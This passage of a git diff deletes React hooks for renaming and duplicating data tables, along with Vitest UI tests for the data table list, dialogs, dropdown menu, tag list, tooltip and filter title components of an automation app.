-    const canDuplicate = useMemo(() => duplicateValue.trim().length > 0, [duplicateValue]);
-
-    const handleClose = () => {
-        clearTableToDuplicate();
-    };
-
-    const handleOpen = (tableId: string, baseName: string) => {
-        setTableToDuplicate(tableId, baseName);
-    };
-
-    const handleDuplicateValueChange = (value: string) => {
-        setDuplicateValue(value);
-    };
-
-    const handleDuplicateSubmit = () => {
-        if (tableIdToDuplicate) {
-            duplicateMutation.mutate({
-                input: {
-                    environmentId: String(environmentId),
-                    newBaseName: duplicateValue.trim(),
-                    tableId: tableIdToDuplicate,
-                },
-            });
-        }
-    };
-
-    const handleOpenChange = (open: boolean) => {
-        if (!open) {
-            handleClose();
-        }
-    };
-
-    return {
-        canDuplicate,
-        duplicateValue,
-        handleClose,
-        handleDuplicateSubmit,
-        handleDuplicateValueChange,
-        handleOpen,
-        handleOpenChange,
-        open: tableIdToDuplicate !== null,
-    };
-}
diff --git a/client/src/pages/automation/datatables/components/hooks/useRenameDataTableDialog.ts b/client/src/pages/automation/datatables/components/hooks/useRenameDataTableDialog.ts
deleted file mode 100644
index a7d2be21671..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/useRenameDataTableDialog.ts
+++ /dev/null
@@ -1,79 +0,0 @@
-import {useRenameDataTableDialogStore} from '@/pages/automation/datatables/stores/useRenameDataTableDialogStore';
-import {useRenameDataTableMutation} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-import {useMemo} from 'react';
-
-interface UseRenameDataTableDialogI {
-    canRename: boolean;
-    handleClose: () => void;
-    handleOpen: (tableId: string, baseName: string) => void;
-    handleOpenChange: (open: boolean) => void;
-    handleRenameSubmit: () => void;
-    handleRenameValueChange: (value: string) => void;
-    open: boolean;
-    renameValue: string;
-}
-
-export default function useRenameDataTableDialog(): UseRenameDataTableDialogI {
-    const {baseName, clearTableToRename, renameValue, setRenameValue, setTableToRename, tableIdToRename} =
-        useRenameDataTableDialogStore();
-
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const queryClient = useQueryClient();
-
-    const renameMutation = useRenameDataTableMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['dataTables']});
-            clearTableToRename();
-        },
-    });
-
-    const canRename = useMemo(() => {
-        const trimmedValue = renameValue.trim();
-
-        return trimmedValue.length > 0 && trimmedValue !== baseName;
-    }, [renameValue, baseName]);
-
-    const handleClose = () => {
-        clearTableToRename();
-    };
-
-    const handleOpen = (tableId: string, baseName: string) => {
-        setTableToRename(tableId, baseName);
-    };
-
-    const handleRenameValueChange = (value: string) => {
-        setRenameValue(value);
-    };
-
-    const handleRenameSubmit = () => {
-        if (tableIdToRename) {
-            renameMutation.mutate({
-                input: {
-                    environmentId: String(environmentId),
-                    newBaseName: renameValue.trim(),
-                    tableId: tableIdToRename,
-                },
-            });
-        }
-    };
-
-    const handleOpenChange = (open: boolean) => {
-        if (!open) {
-            handleClose();
-        }
-    };
-
-    return {
-        canRename,
-        handleClose,
-        handleOpen,
-        handleOpenChange,
-        handleRenameSubmit,
-        handleRenameValueChange,
-        open: tableIdToRename !== null,
-        renameValue,
-    };
-}
diff --git a/client/src/pages/automation/datatables/components/tests/CreateDataTableDialog.test.tsx b/client/src/pages/automation/datatables/components/tests/CreateDataTableDialog.test.tsx
deleted file mode 100644
index f1c13286f55..00000000000
--- a/client/src/pages/automation/datatables/components/tests/CreateDataTableDialog.test.tsx
+++ /dev/null
@@ -1,227 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import CreateDataTableDialog from '../CreateDataTableDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleAddColumn: vi.fn(),
-        handleBaseNameChange: vi.fn(),
-        handleClose: vi.fn(),
-        handleColumnNameChange: vi.fn(),
-        handleColumnTypeChange: vi.fn(),
-        handleCreate: vi.fn(),
-        handleDescriptionChange: vi.fn(),
-        handleOpen: vi.fn(),
-        handleRemoveColumn: vi.fn(),
-        mockUseCreateDataTableDialog: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useCreateDataTableDialog', () => ({
-    default: hoisted.mockUseCreateDataTableDialog,
-}));
-
-const defaultMockReturn = {
-    baseName: 'orders',
-    canSubmit: true,
-    columns: [{name: 'id', type: 'INTEGER'}],
-    description: 'Order table',
-    handleAddColumn: hoisted.handleAddColumn,
-    handleBaseNameChange: hoisted.handleBaseNameChange,
-    handleClose: hoisted.handleClose,
-    handleColumnNameChange: hoisted.handleColumnNameChange,
-    handleColumnTypeChange: hoisted.handleColumnTypeChange,
-    handleCreate: hoisted.handleCreate,
-    handleDescriptionChange: hoisted.handleDescriptionChange,
-    handleOpen: hoisted.handleOpen,
-    handleRemoveColumn: hoisted.handleRemoveColumn,
-    isPending: false,
-    open: true,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseCreateDataTableDialog.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('CreateDataTableDialog', () => {
-    it('should render the dialog when open is true', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(screen.getByText('Create Data Table')).toBeInTheDocument();
-    });
-
-    it('should display the dialog description', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(
-            screen.getByText('Provide a base name, an optional description, and at least one column.')
-        ).toBeInTheDocument();
-    });
-
-    it('should render Base name label and input', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(screen.getByText('Base name')).toBeInTheDocument();
-        expect(screen.getByDisplayValue('orders')).toBeInTheDocument();
-    });
-
-    it('should render Description label and input', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(screen.getByText('Description (optional)')).toBeInTheDocument();
-        expect(screen.getByDisplayValue('Order table')).toBeInTheDocument();
-    });
-
-    it('should render Columns label', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(screen.getByText('Columns')).toBeInTheDocument();
-    });
-
-    it('should render Add column button', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(screen.getByRole('button', {name: /Add column/})).toBeInTheDocument();
-    });
-
-    it('should render column input with name', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(screen.getByDisplayValue('id')).toBeInTheDocument();
-    });
-
-    it('should render Create button', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(screen.getByRole('button', {name: 'Create'})).toBeInTheDocument();
-    });
-
-    it('should call handleAddColumn when clicking Add column button', async () => {
-        render(<CreateDataTableDialog />);
-
-        const addButton = screen.getByRole('button', {name: /Add column/});
-        await userEvent.click(addButton);
-
-        expect(hoisted.handleAddColumn).toHaveBeenCalledTimes(1);
-    });
-
-    it('should call handleCreate when clicking Create button', async () => {
-        render(<CreateDataTableDialog />);
-
-        const createButton = screen.getByRole('button', {name: 'Create'});
-        await userEvent.click(createButton);
-
-        expect(hoisted.handleCreate).toHaveBeenCalledTimes(1);
-    });
-});
-
-describe('CreateDataTableDialog closed state', () => {
-    beforeEach(() => {
-        hoisted.mockUseCreateDataTableDialog.mockReturnValue({
-            ...defaultMockReturn,
-            open: false,
-        });
-    });
-
-    it('should render trigger button when closed', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(screen.getByRole('button', {name: 'Create Table'})).toBeInTheDocument();
-    });
-
-    it('should not render dialog content when closed', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(screen.queryByText('Create Data Table')).not.toBeInTheDocument();
-    });
-});
-
-describe('CreateDataTableDialog pending state', () => {
-    beforeEach(() => {
-        hoisted.mockUseCreateDataTableDialog.mockReturnValue({
-            ...defaultMockReturn,
-            isPending: true,
-        });
-    });
-
-    it('should show Creating... text when pending', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(screen.getByRole('button', {name: 'Creating...'})).toBeInTheDocument();
-    });
-
-    it('should disable Create button when pending', () => {
-        render(<CreateDataTableDialog />);
-
-        const createButton = screen.getByRole('button', {name: 'Creating...'});
-
-        expect(createButton).toBeDisabled();
-    });
-});
-
-describe('CreateDataTableDialog canSubmit disabled', () => {
-    beforeEach(() => {
-        hoisted.mockUseCreateDataTableDialog.mockReturnValue({
-            ...defaultMockReturn,
-            baseName: '',
-            canSubmit: false,
-        });
-    });
-
-    it('should disable Create button when canSubmit is false', () => {
-        render(<CreateDataTableDialog />);
-
-        const createButton = screen.getByRole('button', {name: 'Create'});
-
-        expect(createButton).toBeDisabled();
-    });
-});
-
-describe('CreateDataTableDialog with multiple columns', () => {
-    beforeEach(() => {
-        hoisted.mockUseCreateDataTableDialog.mockReturnValue({
-            ...defaultMockReturn,
-            columns: [
-                {name: 'id', type: 'INTEGER'},
-                {name: 'name', type: 'STRING'},
-            ],
-        });
-    });
-
-    it('should render multiple column inputs', () => {
-        render(<CreateDataTableDialog />);
-
-        expect(screen.getByDisplayValue('id')).toBeInTheDocument();
-        expect(screen.getByDisplayValue('name')).toBeInTheDocument();
-    });
-
-    it('should render remove column buttons when multiple columns exist', () => {
-        render(<CreateDataTableDialog />);
-
-        const removeButtons = screen.getAllByRole('button').filter((button) => button.querySelector('.lucide-trash-2'));
-
-        expect(removeButtons.length).toBe(2);
-    });
-});
-
-describe('CreateDataTableDialog with custom trigger', () => {
-    beforeEach(() => {
-        hoisted.mockUseCreateDataTableDialog.mockReturnValue({
-            ...defaultMockReturn,
-            open: false,
-        });
-    });
-
-    it('should render custom trigger when provided', () => {
-        render(<CreateDataTableDialog trigger={<button>Custom Trigger</button>} />);
-
-        expect(screen.getByRole('button', {name: 'Custom Trigger'})).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/tests/DataTableList.test.tsx b/client/src/pages/automation/datatables/components/tests/DataTableList.test.tsx
deleted file mode 100644
index e358ae463a4..00000000000
--- a/client/src/pages/automation/datatables/components/tests/DataTableList.test.tsx
+++ /dev/null
@@ -1,116 +0,0 @@
-import {ColumnType} from '@/shared/middleware/graphql';
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DataTableList from '../DataTableList';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockUseDataTableList: vi.fn(),
-        mockUseDeleteDataTableAlertDialog: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useDataTableList', () => ({
-    default: hoisted.mockUseDataTableList,
-}));
-
-vi.mock('@/pages/automation/datatable/hooks/useDeleteDataTableAlertDialog', () => ({
-    default: hoisted.mockUseDeleteDataTableAlertDialog,
-}));
-
-vi.mock('../DataTableListItem', () => ({
-    default: ({table}: {table: {baseName: string; id: string}}) => (
-        <div data-testid={`datatable-item-${table.id}`}>{table.baseName}</div>
-    ),
-}));
-
-vi.mock('@/pages/automation/datatable/components/DeleteDataTableAlertDialog', () => ({
-    default: () => <div data-testid="delete-dialog" />,
-}));
-
-const mockDataTables = [
-    {baseName: 'orders', columns: [{id: '1', name: 'id', type: ColumnType.Integer}], id: '1'},
-    {baseName: 'customers', columns: [{id: '2', name: 'name', type: ColumnType.String}], id: '2'},
-];
-
-const mockTags = [
-    {id: '1', name: 'Important'},
-    {id: '2', name: 'Archived'},
-];
-
-const mockTagsByTableData = [
-    {tableId: '1', tags: [{id: '1', name: 'Important'}]},
-    {tableId: '2', tags: []},
-];
-
-const defaultProps = {
-    allTags: mockTags,
-    dataTables: mockDataTables,
-    tagsByTableData: mockTagsByTableData,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseDataTableList.mockReturnValue({
-        sortedTables: mockDataTables,
-        tagsByTableMap: new Map([
-            ['1', [{id: '1', name: 'Important'}]],
-            ['2', []],
-        ]),
-    });
-    hoisted.mockUseDeleteDataTableAlertDialog.mockReturnValue({
-        handleClose: vi.fn(),
-        handleDelete: vi.fn(),
-        handleOpen: vi.fn(),
-        open: false,
-    });
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DataTableList', () => {
-    it('should render all data tables', () => {
-        render(<DataTableList {...defaultProps} />);
-
-        expect(screen.getByTestId('datatable-item-1')).toBeInTheDocument();
-        expect(screen.getByTestId('datatable-item-2')).toBeInTheDocument();
-    });
-
-    it('should render data table names', () => {
-        render(<DataTableList {...defaultProps} />);
-
-        expect(screen.getByText('orders')).toBeInTheDocument();
-        expect(screen.getByText('customers')).toBeInTheDocument();
-    });
-
-    it('should render DeleteDataTableAlertDialog', () => {
-        render(<DataTableList {...defaultProps} />);
-
-        expect(screen.getByTestId('delete-dialog')).toBeInTheDocument();
-    });
-});
-
-describe('DataTableList empty state', () => {
-    beforeEach(() => {
-        hoisted.mockUseDataTableList.mockReturnValue({
-            sortedTables: [],
-            tagsByTableMap: new Map(),
-        });
-    });
-
-    it('should not render any data table items when empty', () => {
-        render(<DataTableList allTags={[]} dataTables={[]} tagsByTableData={[]} />);
-
-        expect(screen.queryByTestId('datatable-item-1')).not.toBeInTheDocument();
-    });
-
-    it('should still render DeleteDataTableAlertDialog when empty', () => {
-        render(<DataTableList allTags={[]} dataTables={[]} tagsByTableData={[]} />);
-
-        expect(screen.getByTestId('delete-dialog')).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/tests/DataTableListItem.test.tsx b/client/src/pages/automation/datatables/components/tests/DataTableListItem.test.tsx
deleted file mode 100644
index 813c32335c9..00000000000
--- a/client/src/pages/automation/datatables/components/tests/DataTableListItem.test.tsx
+++ /dev/null
@@ -1,139 +0,0 @@
-import {ColumnType} from '@/shared/middleware/graphql';
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DataTableListItem from '../DataTableListItem';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockNavigate: vi.fn(),
-    };
-});
-
-vi.mock('react-router-dom', async () => {
-    const actual = await vi.importActual('react-router-dom');
-
-    return {
-        ...actual,
-        useNavigate: () => hoisted.mockNavigate,
-    };
-});
-
-vi.mock('../DataTableListItemDropdownMenu', () => ({
-    default: ({dataTableId}: {baseName: string; dataTableId: string}) => (
-        <div data-testid={`dropdown-menu-${dataTableId}`}>Menu</div>
-    ),
-}));
-
-vi.mock('../DataTableListItemTagList', () => ({
-    default: ({datatableId}: {datatableId: string}) => <div data-testid={`tag-list-${datatableId}`} />,
-}));
-
-vi.mock('../DataTableListItemTooltip', () => ({
-    default: ({lastModifiedDate}: {lastModifiedDate?: number | null}) => (
-        <div data-testid="tooltip">Last modified: {lastModifiedDate ?? 'N/A'}</div>
-    ),
-}));
-
-const mockTable = {
-    baseName: 'orders',
-    columns: [
-        {id: '1', name: 'id', type: ColumnType.Integer},
-        {id: '2', name: 'name', type: ColumnType.String},
-    ],
-    id: '123',
-    lastModifiedDate: 1705000000000,
-};
-
-const mockTags = [{id: '1', name: 'Important'}];
-
-const mockRemainingTags = [{id: '2', name: 'Archived'}];
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DataTableListItem', () => {
-    it('should render table base name', () => {
-        render(<DataTableListItem remainingTags={mockRemainingTags} table={mockTable} tags={mockTags} />);
-
-        expect(screen.getByText('orders')).toBeInTheDocument();
-    });
-
-    it('should render column count for multiple columns', () => {
-        render(<DataTableListItem remainingTags={mockRemainingTags} table={mockTable} tags={mockTags} />);
-
-        expect(screen.getByText('2 columns')).toBeInTheDocument();
-    });
-
-    it('should render singular column text for single column', () => {
-        const singleColumnTable = {
-            ...mockTable,
-            columns: [{id: '1', name: 'id', type: ColumnType.Integer}],
-        };
-
-        render(<DataTableListItem remainingTags={mockRemainingTags} table={singleColumnTable} tags={mockTags} />);
-
-        expect(screen.getByText('1 column')).toBeInTheDocument();
-    });
-
-    it('should render 0 columns when columns array is empty', () => {
-        const emptyColumnsTable = {
-            ...mockTable,
-            columns: [],
-        };
-
-        render(<DataTableListItem remainingTags={mockRemainingTags} table={emptyColumnsTable} tags={mockTags} />);
-
-        expect(screen.getByText('0 columns')).toBeInTheDocument();
-    });
-
-    it('should render dropdown menu', () => {
-        render(<DataTableListItem remainingTags={mockRemainingTags} table={mockTable} tags={mockTags} />);
-
-        expect(screen.getByTestId('dropdown-menu-123')).toBeInTheDocument();
-    });
-
-    it('should render tag list', () => {
-        render(<DataTableListItem remainingTags={mockRemainingTags} table={mockTable} tags={mockTags} />);
-
-        expect(screen.getByTestId('tag-list-123')).toBeInTheDocument();
-    });
-
-    it('should render tooltip', () => {
-        render(<DataTableListItem remainingTags={mockRemainingTags} table={mockTable} tags={mockTags} />);
-
-        expect(screen.getByTestId('tooltip')).toBeInTheDocument();
-    });
-
-    it('should navigate to table details when row is clicked', async () => {
-        render(<DataTableListItem remainingTags={mockRemainingTags} table={mockTable} tags={mockTags} />);
-
-        const row = screen.getByText('orders').closest('div[class*="cursor-pointer"]');
-
-        if (row) {
-            await userEvent.click(row);
-
-            expect(hoisted.mockNavigate).toHaveBeenCalledWith('/automation/datatables/123');
-        }
-    });
-});
-
-describe('DataTableListItem without columns', () => {
-    it('should handle undefined columns gracefully', () => {
-        const tableWithoutColumns = {
-            baseName: 'orders',
-            id: '123',
-            lastModifiedDate: 1705000000000,
-        } as typeof mockTable;
-
-        render(<DataTableListItem remainingTags={mockRemainingTags} table={tableWithoutColumns} tags={mockTags} />);
-
-        expect(screen.getByText('0 columns')).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/tests/DataTableListItemDropdownMenu.test.tsx b/client/src/pages/automation/datatables/components/tests/DataTableListItemDropdownMenu.test.tsx
deleted file mode 100644
index 3a741fd6c86..00000000000
--- a/client/src/pages/automation/datatables/components/tests/DataTableListItemDropdownMenu.test.tsx
+++ /dev/null
@@ -1,101 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DataTableListItemDropdownMenu from '../DataTableListItemDropdownMenu';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleDeleteClick: vi.fn(),
-        handleDuplicateClick: vi.fn(),
-        handleExportCsvClick: vi.fn(),
-        handleRenameClick: vi.fn(),
-        mockUseDataTableListItemDropdownMenu: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useDataTableListItemDropdownMenu', () => ({
-    default: hoisted.mockUseDataTableListItemDropdownMenu,
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseDataTableListItemDropdownMenu.mockReturnValue({
-        handleDeleteClick: hoisted.handleDeleteClick,
-        handleDuplicateClick: hoisted.handleDuplicateClick,
-        handleExportCsvClick: hoisted.handleExportCsvClick,
-        handleRenameClick: hoisted.handleRenameClick,
-    });
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DataTableListItemDropdownMenu', () => {
-    it('should render menu trigger button', () => {
-        render(<DataTableListItemDropdownMenu baseName="orders" dataTableId="123" />);
-
-        expect(screen.getByRole('button', {name: 'Table menu'})).toBeInTheDocument();
-    });
-
-    it('should open menu when clicking trigger button', async () => {
-        render(<DataTableListItemDropdownMenu baseName="orders" dataTableId="123" />);
-
-        const triggerButton = screen.getByRole('button', {name: 'Table menu'});
-        await userEvent.click(triggerButton);
-
-        expect(screen.getByText('Rename')).toBeInTheDocument();
-        expect(screen.getByText('Duplicate')).toBeInTheDocument();
-        expect(screen.getByText('Export CSV')).toBeInTheDocument();
-        expect(screen.getByText('Delete')).toBeInTheDocument();
-    });
-
-    it('should call handleRenameClick when clicking Rename', async () => {
-        render(<DataTableListItemDropdownMenu baseName="orders" dataTableId="123" />);
-
-        const triggerButton = screen.getByRole('button', {name: 'Table menu'});
-        await userEvent.click(triggerButton);
-
-        const renameItem = screen.getByText('Rename');
-        await userEvent.click(renameItem);
-
-        expect(hoisted.handleRenameClick).toHaveBeenCalledTimes(1);
-    });
-
-    it('should call handleDuplicateClick when clicking Duplicate', async () => {
-        render(<DataTableListItemDropdownMenu baseName="orders" dataTableId="123" />);
-
-        const triggerButton = screen.getByRole('button', {name: 'Table menu'});
-        await userEvent.click(triggerButton);
-
-        const duplicateItem = screen.getByText('Duplicate');
-        await userEvent.click(duplicateItem);
-
-        expect(hoisted.handleDuplicateClick).toHaveBeenCalledTimes(1);
-    });
-
-    it('should call handleExportCsvClick when clicking Export CSV', async () => {
-        render(<DataTableListItemDropdownMenu baseName="orders" dataTableId="123" />);
-
-        const triggerButton = screen.getByRole('button', {name: 'Table menu'});
-        await userEvent.click(triggerButton);
-
-        const exportItem = screen.getByText('Export CSV');
-        await userEvent.click(exportItem);
-
-        expect(hoisted.handleExportCsvClick).toHaveBeenCalledTimes(1);
-    });
-
-    it('should call handleDeleteClick when clicking Delete', async () => {
-        render(<DataTableListItemDropdownMenu baseName="orders" dataTableId="123" />);
-
-        const triggerButton = screen.getByRole('button', {name: 'Table menu'});
-        await userEvent.click(triggerButton);
-
-        const deleteItem = screen.getByText('Delete');
-        await userEvent.click(deleteItem);
-
-        expect(hoisted.handleDeleteClick).toHaveBeenCalledTimes(1);
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/tests/DataTableListItemTagList.test.tsx b/client/src/pages/automation/datatables/components/tests/DataTableListItemTagList.test.tsx
deleted file mode 100644
index fb97f395acf..00000000000
--- a/client/src/pages/automation/datatables/components/tests/DataTableListItemTagList.test.tsx
+++ /dev/null
@@ -1,106 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DataTableListItemTagList from '../DataTableListItemTagList';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockUpdateTagsMutation: {mutate: vi.fn()},
-        mockUseDataTableListItemTagList: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useDataTableListItemTagList', () => ({
-    default: hoisted.mockUseDataTableListItemTagList,
-}));
-
-vi.mock('@/shared/components/TagList', () => ({
-    default: ({
-        id,
-        remainingTags,
-        tags,
-    }: {
-        getRequest: unknown;
-        id: number;
-        remainingTags?: {id: number; name: string}[];
-        tags: {id: number; name: string}[];
-        updateTagsMutation: unknown;
-    }) => (
-        <div data-testid="tag-list">
-            <span data-testid="tag-list-id">{id}</span>
-
-            {tags.map((tag) => (
-                <span data-testid={`tag-${tag.id}`} key={tag.id}>
-                    {tag.name}
-                </span>
-            ))}
-
-            {remainingTags?.map((tag) => (
-                <span data-testid={`remaining-tag-${tag.id}`} key={tag.id}>
-                    {tag.name}
-                </span>
-            ))}
-        </div>
-    ),
-}));
-
-const mockTags = [
-    {id: '1', name: 'Important'},
-    {id: '2', name: 'Production'},
-];
-
-const mockRemainingTags = [{id: '3', name: 'Archived'}];
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseDataTableListItemTagList.mockReturnValue({
-        updateTagsMutation: hoisted.mockUpdateTagsMutation,
-    });
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DataTableListItemTagList', () => {
-    it('should render TagList component', () => {
-        render(<DataTableListItemTagList datatableId="123" remainingTags={mockRemainingTags} tags={mockTags} />);
-
-        expect(screen.getByTestId('tag-list')).toBeInTheDocument();
-    });
-
-    it('should pass correct id to TagList', () => {
-        render(<DataTableListItemTagList datatableId="123" remainingTags={mockRemainingTags} tags={mockTags} />);
-
-        expect(screen.getByTestId('tag-list-id')).toHaveTextContent('123');
-    });
-
-    it('should render all tags', () => {
-        render(<DataTableListItemTagList datatableId="123" remainingTags={mockRemainingTags} tags={mockTags} />);
-
-        expect(screen.getByTestId('tag-1')).toHaveTextContent('Important');
-        expect(screen.getByTestId('tag-2')).toHaveTextContent('Production');
-    });
-
-    it('should render remaining tags', () => {
-        render(<DataTableListItemTagList datatableId="123" remainingTags={mockRemainingTags} tags={mockTags} />);
-
-        expect(screen.getByTestId('remaining-tag-3')).toHaveTextContent('Archived');
-    });
-
-    it('should call useDataTableListItemTagList with correct tableId', () => {
-        render(<DataTableListItemTagList datatableId="456" remainingTags={mockRemainingTags} tags={mockTags} />);
-
-        expect(hoisted.mockUseDataTableListItemTagList).toHaveBeenCalledWith({tableId: '456'});
-    });
-});
-
-describe('DataTableListItemTagList empty state', () => {
-    it('should render TagList with empty tags', () => {
-        render(<DataTableListItemTagList datatableId="123" remainingTags={[]} tags={[]} />);
-
-        expect(screen.getByTestId('tag-list')).toBeInTheDocument();
-        expect(screen.queryByTestId('tag-1')).not.toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/tests/DataTableListItemTooltip.test.tsx b/client/src/pages/automation/datatables/components/tests/DataTableListItemTooltip.test.tsx
deleted file mode 100644
index 0bc7c356c1e..00000000000
--- a/client/src/pages/automation/datatables/components/tests/DataTableListItemTooltip.test.tsx
+++ /dev/null
@@ -1,51 +0,0 @@
-import {TooltipProvider} from '@/components/ui/tooltip';
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it} from 'vitest';
-
-import DataTableListItemTooltip from '../DataTableListItemTooltip';
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-});
-
-const renderWithTooltipProvider = (lastModifiedDate?: number | null) => {
-    return render(
-        <TooltipProvider>
-            <DataTableListItemTooltip lastModifiedDate={lastModifiedDate} />
-        </TooltipProvider>
-    );
-};
-
-describe('DataTableListItemTooltip', () => {
-    it('should render last modified text', () => {
-        renderWithTooltipProvider(1705000000000);
-
-        expect(screen.getByText(/Last modified:/)).toBeInTheDocument();
-    });
-
-    it('should display formatted date when lastModifiedDate is provided', () => {
-        const timestamp = new Date('2024-01-11T12:00:00').getTime();
-
-        renderWithTooltipProvider(timestamp);
-
-        const formattedDate = new Date(timestamp).toLocaleString();
-
-        expect(screen.getByText(`Last modified: ${formattedDate}`)).toBeInTheDocument();
-    });
-
-    it('should display N/A when lastModifiedDate is null', () => {
-        renderWithTooltipProvider(null);
-
-        expect(screen.getByText('Last modified: N/A')).toBeInTheDocument();
-    });
-
-    it('should display N/A when lastModifiedDate is undefined', () => {
-        renderWithTooltipProvider(undefined);
-
-        expect(screen.getByText('Last modified: N/A')).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/tests/DataTablesFilterTitle.test.tsx b/client/src/pages/automation/datatables/components/tests/DataTablesFilterTitle.test.tsx
deleted file mode 100644
index 39e0369ff69..00000000000
--- a/client/src/pages/automation/datatables/components/tests/DataTablesFilterTitle.test.tsx
+++ /dev/null
@@ -1,99 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DataTablesFilterTitle from '../DataTablesFilterTitle';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockUseDataTablesFilterTitle: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useDataTablesFilterTitle', () => ({
-    default: hoisted.mockUseDataTablesFilterTitle,
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const defaultProps = {
-    allTags: [{id: '1', name: 'Tag1'}],
-    tagsByTableData: [{tableId: '1', tags: [{id: '1', name: 'Tag1'}]}],
-};
-
-describe('DataTablesFilterTitle', () => {
-    describe('with tag filter', () => {
-        beforeEach(() => {
-            hoisted.mockUseDataTablesFilterTitle.mockReturnValue({
-                pageTitle: 'Important',
-                tagId: '1',
-            });
-        });
-
-        it('should render Filter by text', () => {
-            render(<DataTablesFilterTitle {...defaultProps} />);
-
-            expect(screen.getByText('Filter by')).toBeInTheDocument();
-        });
-
-        it('should render tag label when tagId is present', () => {
-            render(<DataTablesFilterTitle {...defaultProps} />);
-
-            expect(screen.getByText('tag:')).toBeInTheDocument();
-        });
-
-        it('should render badge with tag name', () => {
-            render(<DataTablesFilterTitle {...defaultProps} />);
-
-            expect(screen.getByText('Important')).toBeInTheDocument();
-        });
-    });
-
-    describe('without tag filter', () => {
-        beforeEach(() => {
-            hoisted.mockUseDataTablesFilterTitle.mockReturnValue({
-                pageTitle: 'Data Tables',
-                tagId: null,
-            });
-        });
-
-        it('should render Filter by text', () => {
-            render(<DataTablesFilterTitle {...defaultProps} />);
-
-            expect(screen.getByText('Filter by')).toBeInTheDocument();
-        });
-
-        it('should render none when no tag is selected', () => {
-            render(<DataTablesFilterTitle {...defaultProps} />);
-
-            expect(screen.getByText('none')).toBeInTheDocument();
-        });
-
-        it('should not render tag label', () => {
-            render(<DataTablesFilterTitle {...defaultProps} />);
-
-            expect(screen.queryByText('tag:')).not.toBeInTheDocument();
-        });
-    });
-
-    describe('with undefined pageTitle', () => {
-        beforeEach(() => {
-            hoisted.mockUseDataTablesFilterTitle.mockReturnValue({
-                pageTitle: undefined,
-                tagId: '1',
-            });
-        });
-
-        it('should render Unknown Tag as fallback', () => {
-            render(<DataTablesFilterTitle {...defaultProps} />);
-
-            expect(screen.getByText('Unknown Tag')).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/tests/DataTablesLeftSidebarNav.test.tsx b/client/src/pages/automation/datatables/components/tests/DataTablesLeftSidebarNav.test.tsx
deleted file mode 100644
index b1a695f1310..00000000000
--- a/client/src/pages/automation/datatables/components/tests/DataTablesLeftSidebarNav.test.tsx
+++ /dev/null
@@ -1,122 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
